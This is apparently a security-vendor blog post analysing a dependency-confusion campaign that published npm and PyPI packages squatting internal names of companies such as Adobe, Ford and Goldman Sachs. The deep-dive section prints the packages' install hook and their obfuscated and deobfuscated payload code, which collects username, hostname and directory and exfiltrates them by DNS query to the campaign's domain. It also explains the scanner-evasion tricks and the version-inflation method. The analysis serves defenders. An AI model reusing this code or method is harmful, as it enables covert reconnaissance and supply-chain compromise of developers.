sl4x0 Dependency Confusion: 92 Packages Target Fortune 500

SafeDep Team
13 min read

Table of Contents

TL;DR

A researcher operating under the sl4x0 identity has been running a dependency confusion campaign since June 2025, publishing 96+ packages across 34 throwaway npm and PyPI accounts targeting over 20 named organizations. Each package exfiltrates the developer’s username, hostname, and working directory via DNS queries to oob[.]sl4x0[.]xyz. The package names suggest they likely target internal dependencies at these organizations. The minimal payload and explicit *poc naming of publisher accounts suggest security research or bug bounty probing rather than a full malicious operation. Regardless of intent, the packages execute code on install and leak developer identity to an unauthorized third party.

Update (July 23, 2026): A new account, goldmanachspoc (goldmanachspoc@sl4x0[.]xyz), published two packages, [email protected] and [email protected], squatting Goldman Sachs’ internal gs-uitk-* UI-toolkit namespace. Both share a byte-identical obfuscated loader with the rest of the campaign and beacon to the same oob[.]sl4x0[.]xyz domain. The packages’ author field reuses [email protected], an identity previously seen only on this campaign’s Anduril-targeting PyPI packages, the first confirmed identity overlap across two different target clusters. Details in the Update section.

Update (July 23, 2026, second wave): A separate account, dialoguepoc (dialoguepoc@sl4x0[.]xyz), published [email protected] and [email protected] the same day. Same oob[.]sl4x0[.]xyz DNS-exfil payload and [email protected] author identity, but the package names do not match any confirmed enterprise’s internal namespace, an untargeted install-beacon pair rather than confirmed dependency confusion. Details in the Update section.

Impact:

  • Exfiltrates the local OS username, hostname, and current working directory of any developer who installs a campaign package
  • DNS-based exfiltration bypasses most HTTP-based egress monitoring
  • Reconnaissance data (usernames, hostnames, project directories) enables targeted follow-up attacks
  • Likely targets span Fortune 500 companies, financial institutions, defense contractors, and tech companies

Indicators of Compromise (IoC):

  • Exfiltration domain: oob[.]sl4x0[.]xyz
  • DNS query pattern: <prefix>.<username>.<hostname>.<cwd>.<timestamp>.oob[.]sl4x0[.]xyz
  • Publisher email domain: *@sl4x0[.]xyz
  • Version patterns: 9.9.0, 9.9.9, 9.9.10, 9.9.11, 99.9.9, 99.99.9 (inflated to win dependency confusion)
  • 34 npm/PyPI accounts (full list in Campaign Infrastructure section)

Campaign Overview

Timeline

Data from SafeDep threat intelligence reveals this campaign has been active for 10 months with distinct phases:

PeriodNew PackagesActive AccountsTargets
June 2025336Broad (generic squatting)
July 2025164Broad (continued generic)
Aug 202573Targeted (bbch, callemback, collabhunting)
Sep 202511CrowdStrike
Oct 202543Mixed
Dec 202552Dealfront, generic
Jan 2026148Checkout.com, Santander, Shopee, Zurich Insurance, Wildberries, Blick, Anduril (PyPI)
Feb 202622Coca-Cola, Huawei
Mar 2026107Adobe, Ford, Sony, Xfinity/Comcast, Carnival, Medidata, Tombac
Jul 202642Goldman Sachs; untargeted install-beacon pair

The campaign started with broad namespace squatting in mid-2025, then pivoted to what appear to be targeted, organization-specific attacks in late 2025 and 2026. The *poc suffix on account names (e.g., adobepoc, fordpoc, sonypoc) explicitly labels each as a “proof of concept” against a named target.

All 2025-era accounts have been removed from npm. As of March 24, 2026, packages from the following 2026 accounts remain live: adobepoc, fordpoc, carnivalpoc, xfinitypoc, sonypoc, cocacolapoc, huaweipoc, tombacpoc, medidata. Two new accounts joined this list on July 20, 2026: goldmanachspoc, targeting Goldman Sachs (see the Goldman Sachs update), and dialoguepoc, publishing an untargeted install-beacon pair (see the uploader-frontend update).

Campaign Infrastructure

All publisher accounts use email addresses on the sl4x0[.]xyz domain. The exfiltration endpoint oob[.]sl4x0[.]xyz is shared across all packages. The GitHub organization slaxorg (referenced in package.json metadata) does not exist, confirming fabricated provenance.

Complete list of known publisher accounts:

AccountEmailTargetPackagesEcosystemStill Live
adobepocadobepoc@sl4x0[.]xyzAdobe11npmYes
fordpocfordpoc@sl4x0[.]xyzFord Motor2npmYes
carnivalpoccarnivalpoc@sl4x0[.]xyzCarnival Corp1npmYes
xfinitypocxfinitypoc@sl4x0[.]xyzXfinity/Comcast2npmYes
sonypocsonypoc@sl4x0[.]xyzSony1npmYes
cocacolapoccocacolapoc@sl4x0[.]xyzCoca-Cola2npmYes
huaweipochuaweipoc@sl4x0[.]xyzHuawei1npmYes
tombacpoctombacpoc@sl4x0[.]xyzTombac1npmYes
medidatamedidata@sl4x0[.]xyzMedidata Solutions1npmYes
goldmanachspocgoldmanachspoc@sl4x0[.]xyzGoldman Sachs2npmYes
dialoguepocdialoguepoc@sl4x0[.]xyzUnconfirmed (generic)2npmYes
checkoutpoccheckoutpoc@sl4x0[.]xyzCheckout.com2npmNo
wildberriespocwildberriespoc@sl4x0[.]xyzWildberries2npmNo
blickpocblickpoc@sl4x0[.]xyzBlick (media)1npmNo
zurichpoczurich@sl4x0[.]xyzZurich Insurance1npmNo
standardbankstandardbank@sl4x0[.]xyzSantander UK1npmNo
crowdstrikeerrrrrrrcrowdstrikeerrrrrrr@sl4x0[.]xyzCrowdStrike1npmNo
dealfrontpocdealfrontpoc@sl4x0[.]xyzDealfront2npmNo
seacomseacom@sl4x0[.]xyzShopee/Servicepoint3npmNo
uc-platformuc-platform@sl4x0[.]xyzUC Platform1npmNo
global-engineering-sharedglobal-engineering-shared@sl4x0[.]xyzGoogle (gweb)1npmNo
bbchbbch@sl4x0[.]xyzMobile SDK vendor2npmNo
collabhuntingcollab@sl4x0[.]xyzExpedia (UITK)2npmNo
testingnpmtakeoverstestingnpmtakeovers@sl4x0[.]xyzGeneric3npmNo
sl4x0 / researchresearch@sl4x0[.]xyzAnduril3PyPIN/A
slaxoitslaxoit@sl4x0[.]xyzBroad16npmNo
slaxoyouslaxoyou@sl4x0[.]xyzBroad11npmNo
slaxoweslaxowe@sl4x0[.]xyzBroad8npmNo
slaxosheslaxoshe@sl4x0[.]xyzBroad5npmNo
slaxoheslaxohe@sl4x0[.]xyzBroad3npmNo
callembackcallemback@sl4x0[.]xyzBroad8npmNo
vdchhhhvdch@sl4x0[.]xyzGeneric2npmNo
twentyaugusttwentyaugust@sl4x0[.]xyzTwitter (flight)1npmNo

Packages Still Live on npm (as of March 24, 2026)

These packages remain available for download and should be considered actively dangerous:

PackageVersionPublisherTarget
oc-aa-module-client9.9.10adobepocAdobe
oc-navbar-module-client9.9.10adobepocAdobe
oc-ccp-module-client9.9.10adobepocAdobe
oc-pdc-module-client9.9.0adobepocAdobe
oc-conversation-history-module-client9.9.0adobepocAdobe
oc-ecm-module-client9.9.0adobepocAdobe
oc-cip-module-client9.9.0adobepocAdobe
oc-recommendedupgrade-module-client9.9.0adobepocAdobe
oc-agent-toolbar-module-client9.9.0adobepocAdobe
oc-pico-module-client9.9.0adobepocAdobe
@phonos/types9.9.10adobepocAdobe (Phonos)
@wame/ngx-frf-utilities9.9.11fordpocFord
@wame/ngx-adfs9.9.11fordpocFord
cclr-component-resources9.9.10carnivalpocCarnival
@ceeferenderer/itg-renderer-sdk99.9.9xfinitypocXfinity
@ceeferenderer/fe-renderer-sdk99.9.9xfinitypocXfinity
cr-static-shared-components9.9.9sonypocSony
@the-coca-cola-company/ngps-global-common-utils9.9.9cocacolapocCoca-Cola
@the-coca-cola-company/receipt-scanner-admin-lib9.9.9cocacolapocCoca-Cola
@cloudsop/hmoment9.9.9huaweipocHuawei
tombac-chronos9.9.9tombacpocTombac
ftapi-core99.9.9medidataMedidata
gs-uitk-object-utils9.9.11goldmanachspocGoldman Sachs
gs-uitk-testing-utils9.9.11goldmanachspocGoldman Sachs
uploader-frontend9.9.11dialoguepocUnconfirmed
uploader-frontend-legacy9.9.11dialoguepocUnconfirmed

Deep Dive: oc-aa-module-client

Package Overview

[email protected] was published to npm on March 22, 2026 by the adobepoc account. This account published 11 packages between March 21 and 22, 2026, all sharing an identical description (“Enterprise-grade utilities with enhanced validation and compatibility layer”), identical keywords, and the same code structure.

The package names likely follow Adobe’s internal Omnichannel module naming convention (oc-*-module-client), apparently targeting modules like Adobe Analytics (aa), Contact Center Platform (ccp), Navigation Bar (navbar), and others. The package.json points to a GitHub organization slaxorg that does not exist, fabricating provenance.

The README is generic boilerplate with placeholder badge URLs (org/repo, package) and ironically claims: “No file system access” and “No network requests.” The package does both through its obfuscated lib/ directory.

Execution Trigger

The package.json defines an install script that executes the entry point on npm install:

package/package.json
"scripts": {
"install": "node index.js"
}

The entry point silently loads the malicious payload:

package/index.js
'use strict';
try {
require('./lib/core');
} catch (e) {}
module.exports = { version: '9.9.10' };

The try/catch with an empty handler ensures the install succeeds silently even if the payload fails. The exported { version: '9.9.10' } provides a benign surface for anyone inspecting the module’s return value.

Malicious Payload

The payload spans three files in lib/: a configuration module, a utilities module, and the core logic.

Configuration (lib/b02e30.js) stores the exfiltration domain and package identifier using hex-encoded character arrays:

package/lib/b02e30.js
'use strict';
const _0x5b3d = [0x6f, 0x6f, 0x62, 0x2e, 0x73, 0x6c, 0x34, 0x78, 0x30, 0x2e, 0x78, 0x79, 0x7a];
const _0x6c4e = 'ocaa';
const _0x7d5f = (s) => {
let r = '';
for (let i = 0; i < s.length; i++) r += String.fromCharCode(s[i]);
return r;
};
module.exports = { p: _0x6c4e, d: _0x7d5f([0x2e]), dom: _0x7d5f(_0x5b3d), decode: _0x7d5f };

Deobfuscated, this resolves to:

module.exports = {
p: 'ocaa', // package identifier for this campaign package
d: '.', // separator
dom: 'oob.sl4x0.xyz', // attacker-controlled exfiltration domain
decode: String.fromCharCode, // utility function reused by core.js
};

Utilities (lib/6ad264.js) loads Node.js built-in modules through module.constructor._load() to avoid plain require() calls that static scanners flag:

package/lib/6ad264.js
'use strict';
const _0xb1i9 = (x) => {
let s = '';
for (let i = 0; i < x.length; ++i) s += String.fromCharCode(x[i]);
return s;
};
const _0xc2j0 = module.constructor[_0xb1i9([0x5f, 0x6c, 0x6f, 0x61, 0x64])](_0xb1i9([0x6f, 0x73]));
const _0xd3k1 = module.constructor[_0xb1i9([0x5f, 0x6c, 0x6f, 0x61, 0x64])](_0xb1i9([0x64, 0x6e, 0x73]));
const _0xe4l2 = global[_0xb1i9([0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73])];
const clean = (s) => (s + '').replace(/[^a-z0-9]/gi, '').slice(0, 15);
module.exports = { os: _0xc2j0, dns: _0xd3k1, proc: _0xe4l2, clean: clean };

Deobfuscated:

const os = module.constructor._load('os'); // avoids require('os')
const dns = module.constructor._load('dns'); // avoids require('dns')
const proc = global.process;
const clean = (s) => (s + '').replace(/[^a-z0-9]/gi, '').slice(0, 15);
module.exports = { os, dns, proc, clean };

The clean() function strips non-alphanumeric characters and truncates to 15 characters, ensuring the collected data fits within DNS label length limits (max 63 characters per label).

Core payload (lib/core.js) collects system information and exfiltrates it via DNS:

package/lib/core.js
'use strict';
const cfg = require('./b02e30');
const util = require('./6ad264');
(() => {
let u = 'u',
h = 'h',
c = 'd';
try {
u = util.clean(
util.os[cfg.decode([0x75, 0x73, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f])]()?.[
cfg.decode([0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65])
]
);
} catch (e) {}
try {
h = util.clean(util.os[cfg.decode([0x68, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65])]());
} catch (e) {}
try {
c = util.clean(
util.proc[cfg.decode([0x63, 0x77, 0x64])]()
.split(/[\/\\]/)
.pop()
);
} catch (e) {}
const t = Math.floor(Date.now() / 1e3);
const q = [cfg.p, u || 'u', h || 'h', c || 'd', t, cfg.dom].join(cfg.d);
try {
util.dns[cfg.decode([0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x34])](q, () => {});
} catch (e) {}
})();

Deobfuscated:

const cfg = require('./b02e30');
const util = require('./6ad264');
(() => {
let u = 'u',
h = 'h',
c = 'd'; // fallback values
try {
u = util.clean(util.os.userInfo()?.username);
} catch (e) {}
try {
h = util.clean(util.os.hostname());
} catch (e) {}
try {
c = util.clean(
util.proc
.cwd()
.split(/[\/\\]/)
.pop()
);
} catch (e) {}
const t = Math.floor(Date.now() / 1000); // unix timestamp
const q = ['ocaa', u, h, c, t, 'oob.sl4x0.xyz'].join('.');
// e.g. "ocaa.jsmith.devbox42.myproject.1711234567.oob.sl4x0.xyz"
try {
util.dns.resolve4(q, () => {});
} catch (e) {}
})();

Data Exfiltration via DNS

The attack uses DNS as a covert exfiltration channel. By calling dns.resolve4() with a crafted subdomain query, the collected data travels through DNS resolution to the attacker’s authoritative nameserver for oob[.]sl4x0[.]xyz. The attacker reads the data directly from DNS query logs without needing the resolution to succeed.

The exfiltration query follows this structure:

ocaa.<username>.<hostname>.<cwd_dirname>.<unix_timestamp>.oob.sl4x0.xyz

A developer named jsmith working on machine adobe-dev-42 in directory /home/jsmith/code/omnichannel-platform would generate:

ocaa.jsmith.adobedev42.omnichannelplatf.1711234567.oob.sl4x0.xyz

This approach is effective for several reasons. DNS traffic is rarely blocked or inspected by corporate firewalls. The query looks like normal DNS resolution to network monitoring tools. No HTTP connection or response is needed; the query itself carries the data. The empty callback () => {} means the code does not wait for or process the response.

The ocaa prefix identifies which campaign package triggered the beacon, allowing the attacker to correlate responses across the 11+ Adobe packages (each would use a different prefix like occcp, ocnavbar, etc.).

This is the same fundamental technique we analyzed in the Schedaero dependency confusion campaign, though that campaign used HTTP-based exfiltration rather than DNS. The DNS approach is stealthier since it sidesteps HTTP egress monitoring entirely. Similar dependency confusion patterns using Burp Collaborator have also been documented targeting other organizations.

Obfuscation Techniques

The package uses three layers of obfuscation:

  1. Hex-encoded string literals: Method names like userInfo, hostname, cwd, and resolve4 are passed as hex byte arrays ([0x75, 0x73, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f]) and decoded at runtime via String.fromCharCode. This evades static string matching by scanners looking for suspicious API calls.

  2. Indirect module loading: Instead of require('os') or require('dns'), the code uses module.constructor._load('os'). This private Node.js API achieves the same result but avoids triggering require() pattern matching in security tools.

  3. Decoy source files: The src/ directory contains ~600 lines of legitimate, well-documented utility code (validation, formatting, crypto wrappers) that serves no functional purpose. The index.js entry point never imports anything from src/. These files exist solely to make the package appear legitimate during cursory review.

Dependency Confusion Strategy

All packages in this campaign use abnormally high version numbers (9.9.0, 9.9.10, 99.9.9, 99.99.9). This is the hallmark of dependency confusion: when a build system pulls from both a private registry and the public npm registry, it resolves to the highest available version. By publishing version 99.99.9 of a package that internally exists at version 2.3.1, the attacker ensures the public (malicious) version wins.

The package names are not random. They likely match internal package naming conventions at each apparent target organization:

  • Adobe: oc-*-module-client (likely Omnichannel platform modules)
  • Ford: @wame/ngx-* (likely Angular modules under Ford’s WAME framework)
  • Coca-Cola: @the-coca-cola-company/* (scoped company packages)
  • Xfinity: @ceeferenderer/* (likely internal renderer SDK)
  • Wildberries: @wb-team/*, @wbgo/* (likely internal team packages)

This level of specificity suggests the attacker performed reconnaissance on each target’s internal package ecosystem before publishing. The Hyatt-targeting campaign we previously analyzed used the same version inflation strategy (999.999.999) against hospitality sector targets.

Update: Goldman Sachs Targeted (July 2026)

On July 20, 2026, a new account, goldmanachspoc (goldmanachspoc@sl4x0[.]xyz), published two packages squatting Goldman Sachs’ internal gs-uitk-* UI-toolkit namespace:

Both packages share the Enterprise Tools Team <research@sl4x0[.]xyz> author identity and point to the same fabricated repository, github.com/slaxorg/nms-dashboard-js, that does not exist, matching the fabricated-provenance pattern already documented across this campaign.

Byte-identical payload

gs-uitk-testing-utils and gs-uitk-object-utils ship SHA256-identical index.js and lib/6ad264.js files. The install script and obfuscation structure match the oc-aa-module-client deep dive above exactly: an install lifecycle hook runs node index.js unconditionally, which loads a hex-array-obfuscated loader that reaches require('os') and require('dns') through module.constructor._load() and String.fromCharCode indirection to dodge static require() scanning. The payload harvests the username, hostname, and current working directory, then exfiltrates them via dns.resolve4() to oob[.]sl4x0[.]xyz, the campaign’s established DNS-exfiltration domain.

The only file that differs between the two packages is lib/b02e30.js, the per-package configuration module. It hex-decodes to the same domain and a per-package campaign tag, following the pattern already documented for the Adobe wave (ocaa, occcp, etc.):

  • gs-uitk-object-utils: tag goldman1
  • gs-uitk-testing-utils: tag goldman2

A shared identity across target clusters

The research@sl4x0[.]xyz author address is not new to this campaign, it is the same account previously tied to 3 Anduril-targeting PyPI packages (see the publisher account table above). Its reuse as the author field on these npm packages, alongside a distinct new goldmanachspoc maintainer account, is the first confirmed identity overlap between two otherwise separate target clusters in this campaign, and reinforces that a single actor operates across ecosystems (PyPI and npm) and industries (defense, finance) rather than running isolated one-off squats.

Update: uploader-frontend Install-Beacon Pair (July 2026)

The same day as the Goldman Sachs wave, a separate account, dialoguepoc (dialoguepoc@sl4x0[.]xyz), published two packages: [email protected] and [email protected]. Both were still live on npm as of the analysis timestamp (last modified 2026-07-23T12:16 UTC).

Unlike the Goldman Sachs wave, these package names do not match any confirmed enterprise’s internal namespace. The generic “uploader-frontend” name and lack of a matching private package make this a broader, untargeted install-beacon publish rather than confirmed dependency confusion, closer in spirit to the campaign’s June-August 2025 generic-squatting phase, though published under the same *poc account convention seen in the org-targeted waves.

Same mechanism, byte-for-byte

Both packages share the Enterprise Tools Team <research@sl4x0[.]xyz> author identity, the same fabricated github.com/slaxorg/nms-dashboard-js repository, and the same install: node index.js lifecycle hook feeding a hex-array-obfuscated loader that reaches os/dns via module.constructor._load() and harvests username, hostname, and cwd before exfiltrating via dns.resolve4() to oob[.]sl4x0[.]xyz, identical in structure to the oc-aa-module-client deep dive above. Only lib/b02e30.js (the per-package config) differs, holding a per-package DNS tag:

  • uploader-frontend: tag uploadfe
  • uploader-frontend-legacy: tag uploadfele

The payload also adds a small refinement not seen in the oc-aa-module-client sample: an unref’d 500ms setTimeout after firing the DNS query, letting the beacon attempt to complete without holding the Node.js process open.

File hashes ([email protected])

FileSHA256
index.jsce42880a5be86ce5b7db2e4ce47b04b233308f6e0c0ffff9c9da7a8b39ca5a3f
lib/core.js397d1435e7291ed6b02b8627033a110124d250a54290b3a8f9f248573fd6a2d4
lib/b02e30.js7e5dffc0070dfd23371f2f41227b1e3b0f81b85bfaf4fe87e35c5c64e5ddd748
lib/6ad264.js95ed14077ba3da5517e8b1816a38f3961cebd6f6fb84c86b1bd77ab0a4dcdff4
package.json0247cc50a0a57a241e6eda6714516e5864f23389977049c30052cfb3a69abd2f

Conclusion

The sl4x0 campaign is a sustained, multi-target dependency confusion operation active since June 2025. The explicit *poc account naming, minimal DNS-only payload, and absence of credential theft or persistence strongly suggest security research or bug bounty probing rather than a destructive attack. The packages still execute arbitrary code on install and leak developer identity to an unauthorized third party, which represents real supply chain risk regardless of intent.

As of March 24, 2026, 22 packages across 9 publisher accounts remain live on npm. Organizations whose internal package names appear in the IoC list should:

  1. Audit .npmrc and registry configurations to ensure private packages resolve from internal registries only
  2. Monitor DNS logs for queries to oob[.]sl4x0[.]xyz
  3. Treat any system that installed a campaign package as compromised for reconnaissance purposes
  4. Use tools like vet to detect malicious packages before they enter the build pipeline

References

  • npm
  • oss
  • malware
  • supply-chain
  • security
  • dependency-confusion

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

AsyncAPI Packages Compromised with Miasma RAT

AsyncAPI Packages Compromised with Miasma RAT

Four @asyncapi npm packages were published with obfuscated malware on July 14, 2026 via compromised CI workflows. The payload downloads Miasma RAT, a credential stealer targeting browsers, SSH keys,...

SafeDep Team
Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.